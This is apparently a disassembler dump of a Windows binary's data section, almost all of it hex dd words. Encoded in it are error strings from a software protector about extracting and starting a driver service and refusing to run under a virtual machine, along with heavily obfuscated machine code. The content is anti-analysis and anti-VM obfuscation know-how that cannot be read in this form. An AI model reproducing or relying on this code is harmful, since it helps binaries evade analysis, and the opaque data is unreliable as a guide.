		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 65530000h, 63697672h, 61502065h, 32206B63h, 1Dh dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 9D89C48Bh
		dd 7E93435h, 19AD8589h,	6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 6F128CC3h, 770545CBh
		dd 1619D01h, 0C08B07E9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 9DC35646h, 669453EAh,	8529DF6Fh, 7E91815h
		dd 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah, 53501974h
		dd 3DB8C08Bh, 89000004h, 0E911F985h, 0CE9D8D07h, 0FF07EBD7h
		dd 83585BD3h, 0E91A45BDh, 17740007h, 3DB85350h,	89000004h
		dd 0E911F985h, 0BD9D8D07h, 0FF07EBD4h, 0B9585BD3h, 37FD942Fh
		dd 0FAF78166h, 0DABA6609h, 0B9C08BC2h, 4390890Ah, 66FCC08Bh
		dd 83BB55BAh, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 7EBD670h, 585BD3FFh, 1A45BD83h
		dd 740007E9h, 0B8535011h, 0
		dd 0D5219D8Dh, 0D3FF07EBh, 0AE8585Bh, 0FE000000h, 230F5D8Bh
		dd 0CA325DF4h, 8A0FEEh,	5F000000h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 19C35545h, 850F5A95h, 2, 0C08B93B1h
		dd 0D837B966h, 0BD8BC08Bh, 7E9159Dh, 18A5BD83h,	750007E9h
		dd 45BD8309h, 7E91Ah, 53501374h, 0B8C08Bh, 8D000000h, 0EBD5A29Dh
		dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501174h, 0B8h, 0EF9D8D00h
		dd 0FF07EBD4h, 23585BD3h, 0E919D5BDh, 8D2BFC07h, 7E90F69h
		dd 8D8BC08Bh, 7E923EDh,	8B60C08Bh, 0E926799Dh, 5E907h
		dd 7A7C0000h, 6108BD57h, 18A5BD83h, 750007E9h, 45BD8309h
		dd 7E91Ah, 53501374h, 0B8C08Bh,	8D000000h, 0EBD6099Dh
		dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501174h, 0B8h, 89D8D00h
		dd 0FF07EBD5h, 8A585BD3h, 98EA81F1h, 0E91BD9D4h, 6, 74BD6BCAh
		dd 0C08B45B4h, 0EE953h,	0B78D0000h, 850DDEC3h, 0CC6A15B0h
		dd 396BD6A5h, 83C08B5Fh, 0E918A5BDh, 9750007h, 1A45BD83h
		dd 740007E9h, 8B535013h, 0B8C0h, 9D8D0000h, 7EBD53Bh, 585BD3FFh
		dd 7E58529h, 0DE907E9h,	9000000h, 318A1C1Dh, 8CAE6F4Fh
		dd 0F3E1E286h, 0BF0FC08Bh, 79D981FFh, 8B64AB40h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 8ECAD25Bh, 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah
		dd 53501974h, 0D0B8C08Bh, 89000007h, 0E911F985h, 0CE9D8D07h
		dd 0FF07EBD7h, 83585BD3h, 0E91A45BDh, 17740007h, 0D0B85350h
		dd 89000007h, 0E911F985h, 0BD9D8D07h, 0FF07EBD4h, 9585BD3h
		dd 0E92E4D95h, 499D3107h, 8B07E907h, 38B0FC0h, 0F000000h
		dd 0B70FC9BFh, 5985C6D3h, 5307E926h, 15B501h, 8D8907E9h
		dd 7E90F95h, 395F9068h,	91958B99h, 0FF07E910h, 0E92669B5h
		dd 0A6DA8007h, 3ABC858Dh, 0BF0F07E9h, 0FD0FFD1h, 8Ah, 85858900h
		dd 6A07E922h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 528FC352h, 2AED27A8h, 1CCAD85Dh
		dd 5ACA8B56h, 68A0Fh, 0BD0B0000h, 7E92E65h, 265985C6h
		dd 895707E9h, 0E91979B5h, 5E907h, 89470000h, 68D8590Ch
		dd 90045206h, 68C0Fh, 0BD8B0000h, 7E93481h, 7FEA8166h
		dd 69B5FFE0h, 8907E926h, 0E913918Dh, 0D99D8907h, 8D07E912h
		dd 0E93ABC85h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A863FC16h, 0FCE30EEEh
		dd 8B51D0FFh, 0E9200DBDh, 85895907h, 7E9233Dh, 68F0Fh
		dd 9D010000h, 7E92A29h,	265985C6h, 6A4307E9h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 76C1C353h, 8ABDD2D4h, 10E9F5h, 6E9E0000h, 9283B2B6h
		dd 43CEE89Bh, 7591BDB6h, 28686076h, 0FBC9070h, 58Ch, 0C9D5BA00h
		dd 11E9229Bh, 0CF000000h, 4B40A73Eh, 59B4D8C7h,	19C1D730h
		dd 447C2AE2h, 2669B5FFh, 0F6007E9h, 860FC0BFh, 6, 1BD9D8Bh
		dd 8D6107E9h, 0E93ABC85h, 10E907h, 194D0000h, 46DE1A66h
		dd 506D9C35h, 94BF216h,	0D0FFCE1Eh, 2289BD8Bh, 858907E9h
		dd 7E91D79h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0CC35545h, 0ABD26286h, 265985C6h, 0F4C07E9h, 89h
		dd 1CE96800h, 6AD9DAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0D25E2CC3h, 1E6734CFh, 0FF5D655Ch
		dd 0E92669B5h, 49858907h, 8D07E907h, 0E93ABC85h, 3CD8007h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0FC23D7C3h, 0D4D18166h, 418589EAh, 0C607E900h
		dd 0E9265985h, 0BF664607h, 8B505C94h, 0E90025BDh, 14685F07h
		dd 29BADE06h, 0E9260D95h, 69B5FF07h, 6607E926h,	0D48ECA81h
		dd 49958B57h, 5A07E935h, 3ABC858Dh, 0D0FF07E9h,	4957BA66h
		dd 0C458589h, 13E907E9h, 22000000h, 6BB50593h, 80F0F996h
		dd 0E6052AE5h, 88B34B6Ch, 85C6B253h, 7E92659h, 9D958947h
		dd 6807E911h, 8A0FB5E2h, 14870Fh, 0E9600000h, 7, 49BEEDFh
		dd 0FE067F6h, 80h, 0B5FF6100h, 7E92669h, 498D8Bh, 858D07E9h
		dd 7E93ABCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	8BC35343h, 48819CA9h, 0D0FF83A9h, 8589FE8Bh, 7E92489h
		dd 6109C1BFh, 5985C622h, 4707E926h, 647DB966h, 0D0BF0F60h
		dd 0B5F36861h, 8B6683D0h, 69B5FFD7h, 6A07E926h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0DD95C353h, 7DCE7Ah,	0CE9D9h, 0F7F90000h, 0FDBC11F4h
		dd 0FE6864C8h, 858D0230h, 7E93ABCh, 0D0FFFA8Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C0C35343h, 15E4896Fh
		dd 89AF6FB6h, 0E900CD85h, 6E907h, 0A9DB0000h, 9635604Ch
		dd 265985C6h, 37707E9h,	0E9265D8Dh, 0A8A36807h,	0CE9F397h
		dd 0A7000000h, 14354EC3h, 157B8026h, 0FFB31F83h, 0E916B5B5h
		dd 37BF6607h, 0BC858DB1h, 3107E93Ah, 0E91C3D85h, 8BD0FF07h
		dd 0E930118Dh, 0D5858907h, 0B607E90Ah, 5985C657h, 4707E926h
		dd 0FAF668F9h, 6A8728h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8B66D9C3h, 69B5FFCEh, 6607E926h
		dd 858DCE8Bh, 7E93ABCh,	34418589h, 0D0FF07E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 76C35141h, 810FE6FFh
		dd 6, 29D1958Bh, 858907E9h, 7E91665h, 15C9952Bh, 0E78107E9h
		dd 534AD2BFh, 265985C6h, 664307E9h, 685696BAh, 0BC8E6EFCh
		dd 68F0Fh, 8D8B0000h, 7E90F0Dh,	2669B5FFh, 6A07E9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0EE6635C3h, 0BDA29BFCh, 3ABC858Dh, 816007E9h, 2F123FF0h
		dd 0D0FF614Dh, 22D9BD89h, 858907E9h, 7E91C0Dh, 199D8B60h
		dd 6607E916h, 6443EB81h, 0C6D08B61h, 0E9265985h, 6A4507h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0A8B459C3h, 61958960h, 0E907E91Fh, 14h, 16577D4Fh, 330446FFh
		dd 0E9900E1Dh, 9C2668DCh, 21C61574h, 69696861h,	14E98E72h
		dd 3E000000h, 24B89327h, 8A1F0C0h, 0E87602Eh, 747CBA3Ah
		dd 0FF797235h, 0E92669B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8D78B580h
		dd 0E93ABC85h, 0D08B6607h, 8D0FD0FFh, 6, 2EA99D89h, 858907E9h
		dd 7E9138Dh, 85E78166h,	5985C6A7h, 4407E926h, 0EE9h, 76C12A00h
		dd 15BDD2D4h, 0BE3C3D15h, 68AA9A45h, 0B8F2EC64h, 3591BD89h
		dd 0B5FF07E9h, 7E92669h, 115D8D8Bh, 858D07E9h, 7E93ABCh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C5C35141h
		dd 0E7F68451h, 95BD8B11h, 0F07E90Ch, 489h, 5A505200h, 66D0FF5Fh
		dd 8BE480BAh, 0E91ECD95h, 0E1858907h, 6007E91Fh, 0FE1B531h
		dd 0B70F07E9h, 8D0161F8h, 7E90F01h, 265985C6h, 524307E9h
		dd 5F69E580h, 764AA768h, 0C9B70FC0h
		dd 2669B5FFh, 0CE907E9h, 0F3000000h, 0D44A1EEDh, 43BFE176h
		dd 89A397B1h, 0E924C195h, 0BC858D07h, 0BF07E93Ah, 4D4B72BEh
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8B3604C3h, 0E93219BDh, 39858907h,	6607E901h
		dd 0ACC2E281h, 2BB5BD80h, 0F0007ECh, 0D084h, 0D2816600h
		dd 858D9236h, 7EC2B97h,	161D8D0Bh, 50F907E9h, 8E9h, 0F6818200h
		dd 822255Ah, 89016A19h,	0E90ECD8Dh, 0F006A07h, 6AF8B7h
		dd 7E9h, 0FBB59500h, 57533B3Eh,	1D7995FFh, 9D3107E9h, 7E91819h
		dd 125D8589h, 13E907E9h, 7F000000h, 1497DA1h, 21359D21h
		dd 1E105689h, 0C151AB7h, 0FF6A5985h, 0B5FF10B1h, 7E9125Dh
		dd 6820Fh, 8D8B0000h, 7E91825h,	0F850Fh, 0AE90000h, 0D7000000h
		dd 6B3D6A6Ch, 10F765DEh, 3D95FF09h, 6A07E923h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 7300C351h, 12E9h, 0BB776D00h, 899E6C6Bh, 0A754EB45h
		dd 460E1B86h, 89FCAF65h, 0E92AF185h, 81C08B07h,	91E7C7CAh
		dd 0A5BD835Ch, 7E918h, 0BD830975h, 7E91A45h, 50197400h
		dd 0B8C08B53h, 7D1h, 11F98589h,	9D8D07E9h, 7EBD7CEh, 585BD3FFh
		dd 1A45BD83h, 740007E9h, 0B8535017h, 7D1h, 11F98589h, 9D8D07E9h
		dd 7EBD4BDh, 585BD3FFh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0ADC35747h, 0B58B603Ah, 7E9252Dh, 10E9h
		dd 3B403700h, 0C8EB394Dh, 0EF020732h, 0BB55E828h, 0C08B61F1h
		dd 0E0C18166h, 5985C62Dh, 4707E926h, 51BD29h, 0C16807E9h
		dd 6A93C8F7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 631AC357h, 1A118D29h, 0B5FF07E9h
		dd 7E92669h, 20158529h,	0BD8907E9h, 7E925A5h, 3ABC858Dh
		dd 0BD3307E9h, 7E9248Dh, 0B70FD0FFh, 850F50CAh,	6, 0CB19D89h
		dd 858D07E9h, 7EC2FD8h,	15D5B589h, 0C707E9h, 94h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F2C35343h, 0D999D89h
		dd 815807E9h, 939AE5D2h, 0D8B58D25h, 0BA07EC2Fh, 5D60B117h
		dd 998D8B56h, 0FF07E91Ch, 880F51D0h, 3,	5AF8B70Fh, 2FD8858Dh
		dd 8B0F07ECh, 5, 0C4425B9h, 478832Bh, 10850F06h, 0C7000000h
		dd 0EC306C85h, 107h, 0BAC78100h, 836B0C53h, 0E909A9BDh
		dd 850F0007h, 60h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0BEC35242h, 4D77EFD7h, 8B57A43Dh, 0BD835AF8h
		dd 7EC306Ch, 2D850F00h,	8B000000h, 15BD83C8h, 7E925h, 1E840Fh
		dd 8D8B0000h, 7E91D01h,	29E585C7h, 7E9h, 958B0000h, 7E9029Dh
		dd 0FDBD8B50h, 5907E908h, 81DB8C66h, 36D70AD9h,	4C3F662h
		dd 558840Fh, 85C70000h,	7E91B69h, 0
aLA		db '‹Ð€½Â+ì',7,0
		db 0Fh,	85h, 26h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 36B2C355h, 64432DFh, 0F280C624h
		dd 5985C6FDh, 4707E926h, 0BE9h,	0CB667800h, 36EEC0C2h
		dd 664898E3h, 0E45B8668h, 0FEB70FE3h, 2669B5FFh, 0CFB507E9h
		dd 8D3AC680h, 0E93ABC85h, 598D8B07h, 0FF07E91Eh, 619D89D0h
		dd 6807E924h, 104h, 0D9CCCABFh,	0B18D8B5Ch, 8D07E90Eh
		dd 0E913D19Dh, 0FD952B07h, 5307E906h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D5C35141h,	0FF9BB7D5h, 8D958BD0h
		dd 8D07E91Ah, 0E913D185h, 49858907h, 5007E90Ch,	17D18D8Bh
		dd 858D07E9h, 7EC2B74h,	2698D8Bh, 0BD8907E9h, 7E92439h
		dd 0D3B70F50h, 2247858Dh, 7E807ECh, 0F9000000h,	4508DE84h
		dd 0B966C1E4h, 5059FF2Ch, 0FFD38B66h, 0E90AD595h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0CE1C81E8h, 839A224Fh, 6A0CC4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0F60BB8C3h, 0BD8B43FCh
		dd 7E929D1h, 6AF98Bh, 8068h, 6A036A00h,	68006A00h, 80000000h
		dd 2247858Dh, 0FF5007ECh, 0E91C0D95h, 57858907h, 0C607EC2Bh
		dd 0E9265985h, 87684707h, 0FFC7B15Eh, 0E92669B5h, 0BC858D07h
		dd 0FF07E93Ah, 0FF006AD0h, 0EC2B57B5h, 0FD0FF07h, 38Bh
		dd 0CAB70F00h, 3DF8B70Fh, 37D0h, 6B830Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0FC3F69C3h, 2B57B5FFh, 0AE807ECh, 12000000h,	4980E47Eh
		dd 59E9172Eh, 0EE8D3h, 99B0000h, 5B3892CEh, 5A0EB91h, 0DB042EA4h
		dd 5A9FC980h, 0E195295Ah, 0FF07E918h, 0E9013995h, 4890F07h
		dd 66000000h, 0E9DA7EBFh, 116h,	0EDDA8166h, 57B5FF0Bh
		dd 6A07EC2Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 133CC355h, 52EB1B29h, 0FB8B66CCh
		dd 13995FFh, 8D8907E9h,	7E92B11h, 8C0F006Ah, 6,	19A98D8Bh
		dd 6A07E9h, 0DE960h, 0F9AF0000h, 625019EFh, 73DA5F2Ch
		dd 0FD70870h, 38Fh, 0EEDB8000h,	6AFA8B61h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 3C9C6EA4h, 75F9D56Fh, 5E9006Ah, 0C3000000h, 0A6CA7A51h
		dd 8E857h, 8AD70000h, 99F704FAh, 89B6427Ah, 6A5F5Ah, 0AC98D89h
		dd 6A07E9h, 8DFFB70Fh, 0EC2B5B85h, 6A50F907h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0D460C352h, 0B782B194h, 42AE4D6Eh, 2A05B509h, 0FFF807E9h
		dd 0E91C0D95h, 0DE907h,	14C0000h, 7EE82B4Eh, 0FFAC69E2h
		dd 310BEC1Ch, 0E9312985h, 0FFF88307h, 116850Fh,	858D0000h
		dd 7EBE2BDh, 0BB73BA66h, 0EA81D0FFh, 17B19E52h,	8D89006Ah
		dd 7E91D99h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 56CA14C3h, 10798589h, 665A07E9h
		dd 6ACF8Bh, 8E8h, 15826F00h, 2D348DC4h,	0B4B656FFh, 6A5A5Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 34C35040h
		dd 6630C2DBh, 0F86735B3h, 0BB9006Ah, 6A47E134h,	0FA8B6600h
		dd 2B5B858Dh, 0BD2907ECh, 7E90261h, 0CB6AB950h,	95FF4425h
		dd 7E91C0Dh, 0FFFF883h,	6B85h, 0F8BF0F00h, 2563B58Dh, 8F0F07ECh
		dd 1Dh,	11E8h, 0B5ADF000h, 9CC8E03h, 43E5A19h, 7227A76Bh
		dd 830F1D03h, 0
		dd 9D858D5Ah, 8B07EBD1h, 0E9D0FFD0h, 9,	735A8C82h, 200C3AF0h
		dd 89006A4Ah, 0E908158Dh, 8D95FF07h, 0F07E913h,	1388h
		dd 8E800h, 69F30000h, 2FBF9D53h, 70BF6FF9h, 5A28279Eh
		dd 2B578589h, 8D0F07ECh, 6, 0BF0FF860h,	6A61F0h, 19DD9D89h
		dd 858D07E9h, 7EC2B4Fh,	18D0Fh,	50F80000h, 0FE8h, 6C8E6300h
		dd 0E2468533h, 0C4C03821h, 965D704Eh, 0DE8h, 339AE400h
		dd 5E71F3DBh, 85AF645Dh, 870F6A9Ah, 0
		dd 46A5F5Ah, 1DB18D8Bh,	858D07E9h, 7E90905h, 50FB8B66h
		dd 25498D8Bh, 85B607E9h, 6AF8006Ah, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 47405356h
		dd 4A9B64C9h, 8D85012Fh, 0E907E918h, 6,	0F366F06Fh, 16A6B92h
		dd 975BA66h, 2B57B5FFh,	820F07ECh, 6, 2FFD8589h, 12E907E9h
		dd 9F000000h, 1110EFBAh, 0A8132D00h, 5402CA3Eh,	707CD6BCh
		dd 0E195FFFBh, 8007E91Fh, 0DDE92CCEh, 6A00001Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0E5CCC352h, 0AD4EABFEh, 0F18166F3h, 0C08B7CA8h, 0EDBE6660h
		dd 199D23B2h, 6107E900h, 18A5BD83h, 750007E9h, 45BD8309h
		dd 7E91Ah, 53501974h, 0D2B8C08Bh, 89000007h, 0E911F985h
		dd 0CE9D8D07h, 0FF07EBD7h, 83585BD3h, 0E91A45BDh, 17740007h
		dd 0D2B85350h, 89000007h, 0E911F985h, 0BD9D8D07h, 0FF07EBD4h
		dd 8A585BD3h, 418501EAh, 6A07E92Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 89E1C351h
		dd 8B71A916h, 85BD8BC0h, 8907E918h, 0E90269B5h,	6985C707h
		dd 107E91Bh, 80000000h,	0B868D0C2h, 0FFCEE4E7h,	0E9347DB5h
		dd 0BC858D07h, 0FF07E93Ah, 0E58589D0h, 8D07E934h, 0EC2DB385h
		dd 858D5007h, 7EC3070h,	16850h,	95FF8000h, 7E934E5h, 0A75C00Bh
		dd 137985C7h, 107E9h, 0D4680000h, 0FFC005DBh, 0E9347DB5h
		dd 0BC858D07h, 0FF07E93Ah, 8D8589D0h, 8D07E91Dh, 0EC200085h
		dd 0B5FF5007h, 7E92669h, 248995FFh, 0C00B07E9h,	0D88B0B74h
		dd 2FB3858Dh, 0FF5007ECh, 0B3858DD3h, 6607EC2Fh, 75093883h
		dd 0CD85C70Ah, 107E921h, 0FF000000h, 0E9166595h, 0FF2507h
		dd 0F8830000h, 0C70A7305h, 0E919A585h, 107h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 12A11AABh, 0F5F36512h, 13C78166h, 89958BFDh,	3107E902h
		dd 0E929719Dh, 0C2BD8007h, 7EC2Bh, 13840Fh, 0BD830000h
		dd 7EC306Ch, 17840F00h,	8B000000h, 0E9150D95h, 1916E907h
		dd 85010000h, 7E91081h,	0B547E281h, 0BD832A0Ah,	7E921CDh
		dd 95850F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 3922C357h, 8DBF2252h
		dd 0EC2B8C85h, 55958B07h, 5007E931h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 1FC35747h, 0C78AA236h, 0BD8BEB21h
		dd 7E91661h, 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 36D3CDC3h, 11A9F6FEh, 0CE9006Ah
		dd 0D0000000h, 0A130B393h, 973798C8h, 6A2CE819h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 4DD75CD0h, 66CC381Dh, 0FFB182B9h, 0E91D7995h, 29C88B07h
		dd 0E90F3595h, 0B6858907h, 6A07EC2Bh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 9B92C357h
		dd 14E9h, 709CC200h, 28681EDBh,	0B88BDB6Bh, 0CC4CB56Ch
		dd 0C17817E7h, 6AFF6AB4h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 46E7C355h, 6F61A8BCh
		dd 2AA481E0h, 0AED28166h, 0FFC88B1Ah, 0EC2BB6B5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 12E99Fh, 79BC0000h, 3D5ED17Dh, 0EB5558F7h, 4532C604h
		dd 0B535C986h, 233D95FFh, 6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0C056F9C3h, 894E0F32h
		dd 958BCA95h, 7E90E3Dh,	1FC7858Dh, 0FE8B07ECh, 1F1BD8Bh
		dd 95007E9h, 0E9015D95h, 4195FF07h, 8107E900h, 76EA21D1h
		dd 5185896Ah, 8107EC20h, 974308EFh, 68C0F6Bh, 8B000000h
		dd 0E930898Dh, 0D4858D07h, 6A07EC1Fh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 70FEC357h
		dd 668CC32Dh, 4126DA81h, 51006A50h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 958BEACDh, 7E90F25h, 2051B5FFh
		dd 0BD2907ECh, 7E929D9h, 248995FFh, 6E907E9h, 54000000h
		dd 0C226F6E5h, 0F185894Dh, 6007E92Eh, 30299D8Bh, 858907E9h
		dd 7E9166Dh, 42858D61h,	0F07EC20h, 586h, 0DA816600h, 66502411h
		dd 0BCCBD981h, 2051B5FFh, 95FF07ECh, 7E92489h, 12618D89h
		dd 858907E9h, 7EC2065h,	1BC98531h, 858D07E9h, 7EC2021h
		dd 6650CB8Bh, 0CD58CF81h, 2051B5FFh, 950307ECh,	7E91091h
		dd 248995FFh, 0B96607E9h, 8E9F92Ah, 0E8000000h,	0BCDC2A6h
		dd 89234F35h, 0EC205D85h, 0B5895107h, 7E92189h,	14858D59h
		dd 8907EC20h, 0E9247185h, 6A5007h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0E14228C3h, 8B05D553h
		dd 51B5FFC8h, 0B107EC20h, 8995FF78h, 6A07E924h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 497FC357h, 895DFFF3h, 0EC206185h, 2F858D07h,	6A07EC20h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5BC8C351h, 294DE441h, 0E92FF19Dh,	0CA816607h
		dd 0F95091EDh, 2051B5FFh, 95FF07ECh, 7E92489h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0AC35343h, 0B70FA28Ch
		dd 5D8589D6h, 0F07E90Ch, 286h, 162B500h, 0E91A218Dh, 0E3858D07h
		dd 0F07EC1Fh, 28Fh, 50FAB200h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 12C35040h, 5C5FDE05h, 0E4D5F0D4h
		dd 51B5FFFCh, 0FF07EC20h, 0E9248995h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0EE917488h, 45236EF5h, 5585896Dh, 8B07EC20h,	0E908ED8Dh
		dd 0F2858D07h, 6007EC1Fh, 2D958B60h, 107E921h, 0E92D49B5h
		dd 89616107h, 0E91345B5h, 6A5007h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0C362B1C3h, 0F60325Bh
		dd 870FDAB7h, 0
		dd 0E2816661h, 0B5FF7A3Ah, 7EC2051h, 95FFCE8Bh,	7E92489h
		dd 8A0A98BFh, 5985890Fh, 0E907EC20h, 5,	0CFE5FF8Bh, 1046801h
		dd 0FFBF0000h, 89091961h, 0E91C2195h, 0E9858D07h, 6A07EC20h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 8174C356h, 5072F8F0h, 0F470BF66h,	21ED858Dh
		dd 816607ECh, 50DD16E1h, 1F5D8D8Bh, 95FF07E9h, 7E900CDh
		dd 19D58D89h, 0C08507E9h, 23850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B56F0C3h
		dd 0E920598Dh, 0C2BD8007h, 7EC2Bh, 1C850Fh, 958B0000h
		dd 7E90749h, 13E7E9h, 0E9CBB500h, 0Ah, 938C11E4h, 0B21D4FCFh
		dd 0BD832DB8h, 7E921CDh, 31850F00h, 66000000h, 0BD83CB8Bh
		dd 7EC306Ch, 40840F00h,	0E8000000h, 0Fh, 0CFD9CB33h, 6FBC5B35h
		dd 6D80A855h, 0F8CEAECh, 68Ch, 81B50900h, 5F07E926h, 2086858Dh
		dd 0F78107ECh, 5D1A9519h, 1387E9h, 15958B00h, 0E907E935h
		dd 0Eh,	8DD78B66h, 0EC207185h, 0D7816607h, 8D502A99h, 0EC20E985h
		dd 0AD9D2907h, 5007E90Eh, 0F0D98166h, 0CDBD836Eh, 7E921h
		dd 35840Fh, 958B0000h, 7E9150Dh, 220F858Dh, 6A07ECh, 3E856h
